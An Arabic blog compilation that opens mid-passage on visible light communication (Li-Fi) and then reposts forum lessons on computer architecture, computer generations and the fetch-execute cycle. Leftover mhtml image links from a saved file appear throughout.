 تقوم هذه التقنية على أساس تضمين (Modulation) الإشارة المرسلة مع انبعاث الضوء أي إنها تضمن موجات داخل موجات وفكرتها إن هذه الإضاءة تغلق وتفتح بتردد عالي يقدر بآلاف المرات وبسرعة عالية جدا والتي لا تستطيع العين البشرية ملاحظتها وتمييزها وتعتبرها مضيئة دائما، حيث يكون عملية إرسال المعلومة عن طريق هذا الإغلاق والفتح لتمثيل الصفر والواحد في لغة الكمبيوتر وهو نوع من الـ Modulation يسمى OOK On/Off Keying. قد يسأل البعض وكيف نستقبل الإشارة إذا أطفأنا الإنارة؟ الجواب هو إن هذه التقنية تعمل حتى ولو كانت الإنارة مطفئة وستقوم بالتوصيل، حيث إن الإنارة هنا سيتم تحويرها لكي تبقى هناك ومضات غير محسوسة هي التي تقوم بعملية النقل. حيث إن تغذيتها بتيار ضعيف يمكن أن تسمح لها بإصدار الفوتونات التي تقوم بالنقل. أما الخيار البديل فيمكن أن يكون تصميم دايودات باعثة للضوء تتضمن مصادر ضوئية تبث بترددات غير مرئية لتحقيق هذه الوظيفة حين إطفاء أنوار الغرفة. أما طريقة استقبالها فهي تحتاج إلى جهاز مستقبل خاص يكون أشبه بالمودم يقوم باستقبال هذه الومضات ونقلها إلى دائرة الكترونية لتحويلها إلى إشارات مفهومة. من أهم مكوناته ببساطة هو متحسس ضوئي Photodetector وهو عبارة عن قطعة الكترونية تقوم بتحويل الضوء الساقط إلى فولتية أو تيار. وهي تكون على عدة أنواع: مثل الدايود الضوئي Photodiodes، الترانسستر الضوئي Phototransistors، أو المقاومة الضوئية Photoresistors. ومن أهم الأشياء انه يمكن استعمال الـ LED نفسه للإرسال والاستقبال حيث يمكنه استقبال أطوال موجية محددة وبحساسية قليلة لبعض الألوان وحسب الطول الموجي لكل منها ولكن يعتبر هذا مقبولا مقارنة مع المكونات المصنوعة خصيصا كمستقبلات للضوء. فمثلا يمكن للـ LED الأخضر التحسس بالضوء الأزرق والأخضر ولا يمكنه التحسس للأصفر والأحمر، وهذا يعتمد على لون الـ LED ليمكن استعماله كمرسل ومستقبل وبأزمان مختلفة. وهنا مثال لدائرة الكترونية نموذج تمثل الـ Access point والصورة التالية تمثل جهاز End user. كما يمكن لكاميرا الهاتف النقال أو الكاميرا الديجيتال التقاط وتحسس هذه الإشارات حيث تتكون هذه الكاميرات من مصفوفة من المتحسسات الضوئية على عدد البكسلات وكل منها يستطيع استقبال الضوء المسلط عليها وذلك بدعم تطبيق برمجي يتم تثبيته لترجمة هذه الإشارات وهو بمثابة تحوير لعمل الكاميرا. وبفضل وجود أكثر من متحسس بدلا من واحد نستطيع استقبال الإشارة على عدة قنوات اتصال حيث تمثل كل قناة بمتحسس والذي بدوره يمثل بالبكسلات الخاصة بالكاميرا. ومن الحلول لنظام الإرسال والاستقبال في هذه التقنية بشكل عام في الاتصال الـ Full Duplex، اقترح الباحثون أن يكون إحدى هذه الطرق: ممكن أن يكون الاستقبال بطول موجي معين مثل الضوء العادي والإرسال بطول موجي آخر مثل أشعة الـ IrDA. أيضا ممكن عزل الإرسال والاستقبال عن طريق الوقت أي إن الإرسال يكون بفترة زمنية معينة وبعدها يكون الاستلام وأيضا بفترة زمنية معينة كما في نقل الإشارات بتقنية TDM المستخدمة في الاتصالات عن طريق تقسيم الزمن. من الاقتراحات الأخرى هو استخدام موجات الراديو في الإرسال وخاصة في الانترنت حيث يكون بكميات قليلة وبذلك استطعنا الاستفادة من مميزات كل تقنية. وأخيرا هناك بعض الأجهزة مصممة للخدمات أو التطبيقات التي لا تحتاج إلى إرسال بيانات كما في الراديو والتلفزيون لهذا فلا داعي لوجود دائرة إرسال أصلا. كيف يمكننا الاستفادة منها ؟ يمكننا استغلال هذه التقنية وتطبيقها في عدة مجالات أهمها هو الدخول إلى الانترنت والتي تعتبر الغرض الأساسي و كذلك النقل بين أجهزة الشبكة، لذلك تتنوع استعمالاتها بين الشبكات وبين مجال الاتصال بشكل عام ومن هذه الاستخدامات: تعتبر حل مناسب في الأماكن التي تزدحم فيها إشارات أجهزة الواي فاي والأجهزة التي تستعمل الموجات الراديوية حيث تكون أكثر عرضة للضوضاء والتداخل فيما بينها فعلى سبيل المثال تزويد الانترنت في الطائرات وذلك لتجنب التشويش على أجهزة الاتصال فيها، فقريبا جدا سيكون بمقدور الركاب استخدام شبكة الإنترنت على أجهزتهم الخاصة أثناء السفر، في الوقت نفسه سيوفر لمصنعي الطائرات مبالغ طائلة يتم إنفاقها في إنشاء كيلومترات من الكابلات. تستعمل في الأماكن الخاصة والسرية والتي تحتاج إلى تامين الدخول إلى الشبكة كون البث لا يتعدى الجدران إلى باقي أجزاء المبنى كما في باقي التقنيات وينحصر في الغرفة التي تحتوي الأجهزة فقط. يمكن أن تكون البديل الأمثل للشبكات التي تستعمل الموجات الراديوية المضرة وخصوصا التي تبث بقدرات عالية حيث تعتبر الـ VLC غير مضرة للصحة ولا تشكل أي خطورة. كذلك يستعمل في الأماكن التي يكون فيها البث بالموجات الراديوية ممنوعا ويحتاج إلى ترخيص كما في المواقع العسكرية. أيضا يمكن استعمالها لإيصال الربط بين أجهزة الـ GPS داخل البنايات والأقمار الصناعية وحيث إن اتصال الـ GPS يتطلب وجود فضاء مفتوح للاتصال بالأقمار الصناعية، وبذلك ساهمت في حل بسيط لهذه المشكلة. يمكن استخدامها داخل المصانع، حيث إنه في كثير من الأحيان تؤثر الشبكات الراديوية اللاسلكية سلبا على كفاءة وفاعلية الأجهزة وبالتالي على عجلة الإنتاج. يمكن استخدامها في المستشفيات على سبيل المثال، حيث يمكن توظيف جزء من قدرة مصابيح غرفة العمليات في توجيه روبوت داخل غرفة العمليات أو تشغيل أجهزة الغرفة أو جهاز أشعة الإكس راي. من ناحية الاتصال يمكن الربط عن طريقها بين جهاز وآخر، حيث يمكننا عمل شبكة بين هاتفين أو لربطها مع الكمبيوتر، إضافة إلى ذلك في شهر يوليو من هذا العام 2011 وبالتحديد في مؤتمر TED العالمي تم أيضا تقديم أول تجربة نقل فيديو بنقاوة HD وعرضه على التلفزيون باستخدام تقنية الـ VLC ويمكن تطبيق غيرها من الأمثلة على ذلك. يمكن استعمالها للاتصال بين الغواصين بسبب صعوبة إمكانية الاتصال بواسطة الإشارات الراديوية تحت الماء وأيضا لإعطاء بعض المعلومات عن البضائع في الأسواق وكذلك في تبادل المعلومات بين الإشارات المرورية ولوحات الإرشاد و التحذيرات بشأن الاختناقات المرورية أو الحوادث بين السيارات في الشوارع. ماذا يميزها عن غيرها من التقنيات ؟ أكثر أمان من الشبكات اللاسلكية الأخرى. يمكن زيادة مدى الاتصال بزيادة قوة الإضاءة من دون خطورة على العينين وهذا الأمر مستحيل مع الأشعة تحت الحمراء. تكلفتها المنخفضة. سهولة انتشار شبكتها حيث يمكن أن تتواجد أينما وجدت الإنارة. تعتبر صديقة للبيئة. استهلاكها القليل للطاقة.
 ما هي الأشياء التي تنقصها ؟ حزمة البث تكون موجهة وتنتشر في مساحة محددة لذلك يحتاج إلى أكثر من نقطة بث لتغطية المبنى. ضرورة أن يكون المجال مفتوحا بين نقطة الإرسال والاستقبال، فعليا يمكننا استقبال الإشارة عند قطع الفراغ بينهما نظرا لانعكاس الضوء وانكساره ولكن يتوقف الاتصال عندما يتم تغطية المجال بين النقطتين بشكل تام. يحتاج الجهاز المستقبل إلى إضافة قطعة الكترونية تمكنه من إرسال واستقبال وفهم هذه الإشارات. بقي أن أضيف إن هذه التقنية يجري العمل عليها حاليا بشكل أساسي لتحسين سرعتها ويتوقع أن تكون لها قبول وشعبية في المستقبل القريب، وكما يقول هارالد هاس أبرز الباحثين في هذا المجال والذي يعمل كأستاذ في معهد الاتصالات الرقمية في جامعة ادنبره في اسكتلنده “إن الاتصالات عبر الضوء المرئي ستؤدي إلى ارتباط أوثق بين البشر والآلات”. وبهذا فهي ليست الأفضل في الوقت الحالي ولن تكون البديل لباقي الشبكات ولكن حسب رأيي ستكون حل لبعض نقاط الضعف لتقنيات الشبكات الأخرى وإضافة جيدة لها. وكما قلت هذه التقنية هي الآن تحت الأبحاث وقد اطلقت بشكل تجريبي في عام 2012

الأربعاء، 7 نوفمبر، 2012

شرح عربي معماريه حاسوب




الشرح منقول من منتديات الحاسب الالي

الهندسة المعمارية ..هي عبارة عن البنـــــــــاء للحاسب



أعطيك مثال لو كان هناك مهندس معماري للمنازل




راح يعطيك بنــــــــاء و هندسة للمنزل الذي تريده و يرسمه



لك على أوراق و يصمم لك المداخل و المخارج ..




بالزبط كذلك الأمر في هندسة المعمارية للحاسب ..



راح ترى البناء الداخلي و الخارجي للحاسب



و شلون تدخل و تطلع منه البيانات و يعالجها


لك لتراها ..




...................


طيب هناك فرق كبير لازم يتضح لكم بين

الأركيتكتشر و تنظيم الحاسبات ؟؟

الأركيتكتشر : هو عبارة عن الخواص المرئية للمبرمج

وهي غالباً تعتمد على الأوامر

الأوامر اللي يعطيها المبرمج للجهاز.. يعني شيء




مو ملموس لكن نشوفه و نقدر نستخدمه

أما التنظيم : تعني كم من المميزات طبقتها ؟

وهي تهتم بالهاردوير

:::::::::



إذاً

أركي == أوامر Instruction


تنظيم == هاردويرHardware




التعاريف كتبتها لكم في السلايدات المرفقة >>>>

الشرح هنا لتفهم النظرة و تعرف نقطة الانطلاقة



في معلومة حلوة وهي أن تنظيم الحاسب



يختلف بإختلاف الفيرجن الإصدار..يعني كل ما جاء


إصدار جديد من الحاسب يختلف تنظيمها

للمكونات و الهاردوير ..^^ لكن الآلية هي



وحدة حتى لو بتلاحظوا مثلاً في أجهزة الابتوبات


والـps شركة سوني يختلف تنظيمها عن الديل


وأبل ما كنتوش يختلف تنظيمها عن IBM


بس كلها تعمل بنفس الآلي ..


هم بعد لو قارنت IBM بمراحل


إصداراته كل مرحلة راح يختلف تنظيمها عن الثانية




بالرغم إنهم من عائلة وحدة و شركة واحدة

( التركيــــــــــبStructure)




هو عبارة عن الطريق الذي تتعلق فيه المكونات




مع بعضها البعض..



( الوظيـــــفةFunction)

هي العملية الفردية كجزء من مكونات التركيب ..




فهمتوا شيءmhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.com/vb/images/smilies/biggrin.gif أخس من كذ يشرح لنا ..




لكن راح افهمها لكم وما تطلعوا بإذن الله



تخيلوا وياي أن الستركتشر هو عبارة



عن طريق و شارع

mhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.net/upp/uploads/fdfc486927.jpg



و داخله فيه مربعات اسميهم مكونات

هالمكونات بينهم زيارات وعلاقات mhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.com/vb/images/smilies/smile.gif..



لكن لو كانت الزيارات بينهم بدون فائدة و بدون



وظيفة أو عملية هل راح تصير علاقتهم لها أي فائدة؟؟


إذا نستنتج أن



الوظيفة هي عبارة عن عمليات في المكون وهالمكون



هو جزء فردي من التركيييب لذلك اخرجت مربع

في الصورة لوظيفة مكون تعبيرا على أنه جزاء

من التركيب


::::




فوجه الشبه الطريق هو كصندوق الحاسب الآلي



المربعات اللي في الطريق هي المكونات كالقطع الداخلية

مثل الرام الروم...إلخ




القرص الصلب المذر بورد أي شيء ملموس

و أقدر امسكه أسميه مكون




أما الوظيفة هي العمليات الغير مرئية للمكون




وش فائدة جهازك و مكوناته إذا لم يكن له وظيفة




و نحنا بالغالب نستخدم الجهاز الآلي لوظيفة معينة ؟؟




وش هي ؟؟ لا تتعب حالك بالتفكير




طل قدامك و استنتج mhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.com/vb/images/smilies/rolleyes.gif





و سأل وش وظيفة الحاسب الآلي ؟




مو لنقل البيانات




مو لمعالجة البيانات






مو للتحكم و التعديل بها




مو وظيفته عشان نخزن بيانات ..




فالخلاصة من يوم ما تسمع




ستركتشر = التركيب

داخله.. هاردوير = مكونات = قطع




فلو قلت لك و ش هو الستركتشر حق الكمبيوتر؟





لا تخافmhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.com/vb/images/smilies/eek.gif من كلمة ستركتشر



وطالع في كمبيوترك بشجاعة وحط في بالك تركيبهmhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.com/vb/images/smilies/mad.gif



mhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.net/upp/uploads/6de6b3d533.jpg



وقول مثله


I love my computerمنقووووووووووووووووووووووووول

.............

بعد كذا وش وظيفة الهندسة المعمارية ..و التنظيم


إنك ترسم و تبني هالتركيب على ورق ..

mhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.net/upp/uploads/b1884c1093.jpg







ثم تفهم الآلية ..


هذا ستركتشر للـcpu


mhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.net/upp/uploads/d34043731d.jpg





وهذا تركيب ستركتشر للـCU


mhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.net/upp/uploads/5ddf7e9969.jpg



..........


طيب لو أنا عندي هالكثر من المكونات



و بسعة و جودة ممتازة دون أن تؤدي لي و ظيفة ؟؟



هل راح تفيدني الكفاءة ..




أكيد لا


لو عندي ماذربورد و فيها رام و روم ومعالجات



من شركات معروفة و ذات جودة ممتازة دون



أن تعمل وظيفة أو أشغلها هل راح يصير له فائدة ؟؟



إذا .. الوظائف هي العمليات إللي تشغل



هالمكونات وضحت



فأجي أسوي عملية معالجة ,وتخزين للبيانات



وحطوا في بالكم أننا نقوم في الهندسة المعمارية بماذا..




ببناء هالآلية و رسمها على ورق لنرى




كيف تنتقل هالبيانات ..وكاننا نراها

يعني الكتاب كله رسمات هندسية على ورق



للحساب و مكوناته و ووظائفه و تشرح لك في الجامعة



فهمتوا معنى هندسة





أضرب لك مثال .. لوظيفة عملية


الـData movement



حركة البيانات داخل لجهاز ..

mhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.net/upp/uploads/0a6ac76f73.jpg





راح تنقل و تحرك البيانات و تتحكم


فيها تماما بإتجاه السهم ..على حسب الأمر


إللي إنت تعطيه إياه ..و لو تلاحظ


ما جاء ولا مر على دائرة التخزين

لأن الوظيفة اللي نبيها فقط نقل البيانات

وهم بعد ما مر على دائرة المعالجة لأن الوظيفة

والأمر إللي حنا نبيها هي النقل ..


وضحت الصورة ..

....:::....

حاولت الشرح على صور السلايد فقط


ليتم الربط و الفهم ..



و يسهل حفظ التعاريف العلمية ..



و أي سؤال حاضرين للطيبين و إللي يبي يضيف


فباب العلم و مجاله مفتوووح لكم mhtml:file://F:\معماريه\معمارية%20وتنظيم%20الحاسوب%201.mht!http://www.uqucs.com/vb/images/smilies/smile.gif



في حفظ الله

الوحــــــــــــــــــــــــــــــده الثانيه

بسم الله الرحمن الرحيم


mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.net/upp/uploads/1e4818d5b3.jpg



Computer Evolution & Performance



يتحدث هذا الفصل عن


مراحل تطور الحاسوب وآداءه


وبسم الله نبدأ .. في





الجيل الأول ظهر : Vacuum Tubes


وتعني الصممات المفرغة ..


mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.swalfy.com/mss/img/computerhistory/vacuumtube.jpgmhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.swalfy.com/mss/img/computerhistory/vacuumtube.jpg


ويطلق عليها بالأنابيب المفرغة الأنبوب



تسمح للالكترونات بالتحرك مع تفاعل بطئ مع ذرات



الغازات الباقية وهذه الأنابيب مصنوعة من الزجاج .



وهذه صور أوضح mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/rolleyes.gifتشبه اللمبة ..


mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.net/upp/uploads/0a0163048d.jpg


و في هذا الجيل كان حجم الكمبيوترات كبيييييييير جداً.


بالإضافة إلى وجود أجهزة تبريد تستخدم لتبريد


الصمامات لأن درجة حرارتها عالية ..


والطريف إنه رغم هالحجم إلا أن الذاكرة صغيرة mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/tongue.gifللغاية


أيضاً التعامل مع هالأجهزة كان صعب لأنها تعتمد على



لغة الآلة Machine Languageفي برمجتها



حتى يوم كانوا يشغلوا الجهاز يستخدموا البطاقات

المثقبة لاحظوا لماذا ؟؟فقطلتخزين البيانات

"وصلت!!"

mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.net/upp/uploads/56640a7415.jpg


ودي ياكم تفهموا هي ليست لتشغيل الجهاز و إنما


لحفظ المعلومات و البيانات داخلها يعني هذا الفلاش


ميموري mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/biggrin.gifحقهم زمآآآآآن


أبي قال لي مرة إنه في شركتهم زمان كانوا يستخدموا



هالبطاقات المثقوبة

و كان يشغلها لهم رجل سوداني ..حبيته يوم حكاني عنه


يقول كان يمسك البطاقة

mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.net/upp/uploads/42630bb7e6.jpg

و يقول أي يا زوول

الرقم " تزعة سلاسة تزعة...إلخ " ^_*


أيضاً الجميع يعرف شركة أرامكو السعودية


أول ما بدأت


بدأت بالبطاقات المثقوبة mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/redface.gifوعارفين الآن أنتهت بماذا؟؟


انتهت بالنانو mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/rolleyes.gifmhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/rolleyes.gif

لو في مجال أخبركم عن هالتقنية إبداع mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/frown.gif.. وربي


والمهم تطورت فيما بعد وانتقلوا إلى الأشرطة المغناطيسية


إللي مايعرفها راح أخبره فيها|| هي مثل أشرطة



الكست ..اللي في المسجل العادي وكانت تستخدم


أيضاً لتخزين البيانات بدل البطاقات


ويوجد في الفصل الرابع باب كامل


فقط عن وسائل التخزين سنتطرق له لاحقاً ..


طيب ..

هناك أمثلة لحواسيب تستخدم الصمامات المفرغة


موجود في الكتاب 2 و هي أكثر راح نمر عليها



أول حاسبات هذا الجيل هو الحاسب المسمى



ENIAC تبعهEDVAC ثم EDSAC و أخيراً

الحاسب المسمى UNIVAC.



إللي باللون البنفسجي هو الموجود في الكتاب ^^



طيب نأخذ الحاسب

1-ENIAC

(Electronic Numerical Integrator And Computer)

هذه هي الحاسبة الرقمية الوظيفيّة الأولى.

mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.net/upp/uploads/db3ae09b20.jpg

حلو شكلها مين وده يجرب يضغط الازارير وياه ^^؟

وأدري منتم دارين وين الشاشة من لوحة المفاتيح من

الكيس هههههه..طيب بوريكم جزء


لوحة التحكم كيف كانت

mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.net/upp/uploads/2ce47b4acf.jpg


والحين كل واحد

يقارنها بلوحة تحكمه الحالية mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/eek.gifلتشاهدواالفرق!!

وكانت مثل هالكمبيوترات متطلبة للدارسين ..


و وجدت 4 طالبات جامعة وهم داخل غرفة الكمبيوتر

mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.net/upp/uploads/84ac4048ea.jpg


صراحة وقفت عندها ونفسي أجرب mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/biggrin.gifالقطع مثلهم


على ارض الواقع حتى ايام زمان ياخذوهم

معامل تطبيق..وين دكاترتنا يشوفوا ويتعلموا ..!!

متعة صراحة ولاقطين صور ذكرى لعملهم وإنجازهم


تدروا يوم درست هالدرس شكلي


في الصف يضحك ..وكنت أتخيل خيالات وااااااااو إذا

تبوا تعرفوا أخبركم هي!!


و وشلون كنت أفكر لكن نخليها نهاية الدرس


..و اكيد الكثير مر بس ان شاء الله وضحت

لكم الصورة واستمتعتم بالدرس لووول

:::::::


طيب الآن نأخذ الحاسب الثاني

2- UNIVAC

(Universal Automatic Computer)


وهذا هو موديل شكل جهاز اليوني فيرسل



mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.net/upp/uploads/4167cd3129.jpg



كم قطعة موجودة في الصورة


ومنو يجاوب و يجيب العدد أول واحد mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smileMaz/getsmile.tmp001439765.gif؟؟

طبعا هنا متطور شويتين يشتغل فيه 3 موظفين في المكاتب

طبعا من غير اللي راح يكونوا متخصصين للصناديق

و لوحة التحكم والدواليب الموجودة في الأركان

ويعني 6 أشخاص تقريباً mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/eek.gifليشغلوا جهاز واحد فقط

و يستخدم هالجهاز خمســــــ5000ـــة آلاف mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/redface.gifصمام مفرغ


..ليؤدي 1000 عملية حسابية في الثانية

بطيء mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/smile.gifمررررة و هالصورة

طبعاً موديل ومجسم لشكل الجهاز وليس حقيقي


ولا في الواقع هو جهاز أبيض و أسود mhtml:file://F:\معماريه\هندسه%20معماريه%20الوحده%20الثانيه%20.mht!http://www.uqucs.com/vb/images/smilies/cool.gifقديم

:::::::: 3
الشابتر 3

3.1 Computer Components

الصفحة الأولى من هذا لادرس اتركه لكم ... لاني ماحسيت انه في شيء ينشرح فيه واللي فاهمته مضبوط ياليت تتفضل وتشرحه ^^

طيب نجي للمهم ...
كما هو معروف انه المحتويات الأساسية للكمبيوتر هو المعالج/
الذاكرة(main memory) و I/O


mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/39ac370bd9.jpg

ندخل في العميق ونفهم تركيبة كل واحد فيهم ..
أولاً: المعالج
المعالج راح يحتاج الذاكرة كثير لتبادل البيانات بينهما
عشان كذا لازم يكون في المعالج نفسه مكان للتخزين وهو مانسميه بــ Registers
وعندنا نوعين من الريجستيرز داخل المعالج وهما/

1- MAR
وهو اللي راح يحدد لي العنوان الموجود داخل الذاكرة (main memory) اللي راح يحتاجها المعالج عشان يقرأها أو يكتب فيها
2- MBR

تحتوي على البيانات اللي يبغى يكتبها المعالج للذاكرة أو اللي راح يأخذها المعالج من الذاكرة ..
وفيه كمان عندنا I/O AR راح يحدد لي عنوان الجهاز اللي ابغى استخدمه
و I/O BR وهنا راح يستخدمها لتبادل البيانات بين وحدات الادخال او الاخراج I/O مع المعالج
ثانياً: المعالج

تحتوي على مجموعة مواقع معرفة عن طريق عناوين مرقمة تسلسلياً. وفي كل موقع عندي رقم ثنائي ويُفسر إما انه تعليمة instruction أو data
ثالثاً: وحدات الادخال أو الاخراج ( I/O)

ينقل لي البيانات من الأجهزة الخارجية الى المعالج أو العكس .. وفي داخل هذه لاوحدات عندنا buffers والتي تعني ذاكرة مؤقتة وفائدتها تتحفظ بالبيابنات مؤقتاً حتى تُرسل للجهة المعنية
3

3.2 Computer Function

لازم نعرف أنه الوظيفة الأساسية اللي يعملها الكمبيوتر هو تنفيذ البرامج ... والتي بدورها تحتوي على مجموعة من التعليمات المخزنة في الذاكرة.
وتنفيذ هذي البرامج تتم بواسطة المعالجCPU
ومعاجلة التعليمات لابد منها لكي ينفذ البرنامج وكما قلت لكم انه المعاج هو اللي راح يتصرف فيها والمعالجة تتم بواسطة طريقتين:
Fetch
Execution

mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/452444c078.jpg

فالمعالجة تتم على تعليمة واحدة كل مرة وتدخل في دورة تسمى دروة التعليمة
ودورتها الأساسية مبسطة في الرسمة فوق
(Fetch) ...أول شيء Fetches معناها (Reads) عشان يتم البرنامج ويتنفذ
أول شيء المعالج راح يقرأ التعليمات من الذاكرة مرةواحدة في كل وقت

وراح تكون هذي التعلميات مخزنة في PC (Program Counter)
ولمن خلاص يقرأها المعالج راح يعطي هذي التعليمات للـIR (instruction Register) وراح يعمل المعالج زيادة (increment) للـ PC بحيث راح يقرأ الـ instruction التالية


يعني المعالج راح يقرأ التعليمات تسلسلياً في العملية هذي وممكن احنا نعمل
تعديل عليها بحيث نخليه يمشي كيف مانبغى ..

وللمعلومية IR ,PC,AC كلها عبارة عن registers موجودة في المعالج
ونقدر نجيب محتوياتهم من الذاكرة

(Execution) .. هنا راح يعمل العمليات على الي طلعناها وقرأناها من الذاكرة
وفي داخل التعلمية فيه بت معين هو اللي راح يحدد لي الأكشن اللي راح يسويها المعالج وهذي الأكشن تنقسم الى 4 وهي:

1- Processor-Memory
وهي نقل البيانات من المعالج الى الذاكرة أو العكس
2- Processor-I/O
وهي نقل البيانات من المعالج الى I/O أو العكس
3- Data processing
وهي العلميات اللي اللي يسويها المعالج على البيانات سواء كانت رياضية أو منطقية
4- Cotrol
راح يتحكم لي في طيريقة سير التعليمة وممكن تتعدل من قبل اليوزر

مثال1:

طيب نأخذ مثال على كيف تمم عملية تنفيذ برنامج معين :-
هذي الرسمة تشرح كيف نجمع محتويات الذاكرة المخزنة في العنوان 940 + مع محتويات 941 ونحفظ ناتج الجمع في 941
تتم هذي العملية على ستة مراحل كما في الصورة/


mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/e976723777.jpg


الشرح/
المرحلة الأولى// نلاحظ الــ PC مخزن فيه عنوان التعليمة (300) اللي راح يقرأها المعالج من الذاكرة ..
والتعليمة نفسها راح تتخزن في الــ IR وبعدين راح يعمل انكريمنت للـ PC (301)

المرحلة الثانية// نلاحظ الــ ir يحتوي على 16 بت (4 هيكسا) اللي هي (1940) ..
أول هيكسا في هذا الرقم اللي هو الرقم 1 راح ينبه الــ AC بانه بعد شوية راح يجيه شيء أو حاجة زي كذا mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.com/vb/images/smilies/biggrin.gif

وبقية الــ 3 هيكسا اللي هي (940) راح يحدد العنوان المخزن فيها البيانات الي انا أبغاها اللي هي الرقم 3 وعلى طول راح يخزنها لي في الــ AC

المرحلة الثالثة// هي نفسها المرحلة الأولى لكن هنا راح يروح للمكان الثاني للتعلمية التالية(5941) الموجودة
في العنوان 301 وراح يعمل انكريمنت للـ PC ويصير 302

المرحلة الرابعة// هي نفسها المرحلة الثانية لكن فيه اختلاف بسيط وهو انه في الــ AC موجود
فيها أصلاً القيمة 3 راح يضيف عليها المحتويات الموجودة في 941 وهي 2 ويخزن ناتج الجمع النهائي اللي هي 5 في AC

ملاحظة::- طيب الحين جمعنا وخلاص بتقولون وش لزمة المرحلتين الجاية لزمتها حفظ الناتج في اللوكيشن 941 ...

المرحلة الخامسة// راح يقرأ التعليمة الموجودة في المكان (2941) من العنوان 302 وراح يعمل انكريمنت للــ PC

المرحلة السادسة//راح يخزن محتويات الــ AC ويخزنها لي في العنوان 941

مثال2:

ADD B, A which add theC O N T E N E Ts of the memory L O C A T I O N A and B and store the result in A



1- راح يقرأ التعليمة ADD
2- راح يقرأ المعالج المحتويات المخزنة في الذاكرة A
3- راح يقرأ المعالج المعالج المخزنة في الذاكرة B
4- راح يضيف القيمتينمع بعض
5- راح يكتب المعالج الناتج في الذاكرة A

ان شاء الله تكونوا فهمتم عملية التنفيذ في البرامج كيف تتم ..

طيب الرسمة هذي هي نفسها 3.3 لكن بتفاصيل أكثر

mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/d8f3a4f420.jpg

أي تعليمة عشان تتم لازم تدخل في دورة ومثل اللي انتم شايفينها في الرسمة بعضها ممكن التعليمة مايحتاج انه يمر من خلالها وبعضها ممكن لازم يمر منها أكثر من مرة

والحين راح أشرح لكم كل دائرة وايش فايدتها:
1- نبدأ من أول وحدة instruction address calculation
وممكن نختصرها بــ (iac ) ومهمتها انها تحدد التعليمة الجاية
اللي نبغاها انها تتنفذ

2- Instruction fetch واختصارها بـ (if) راح يقوم بعملية
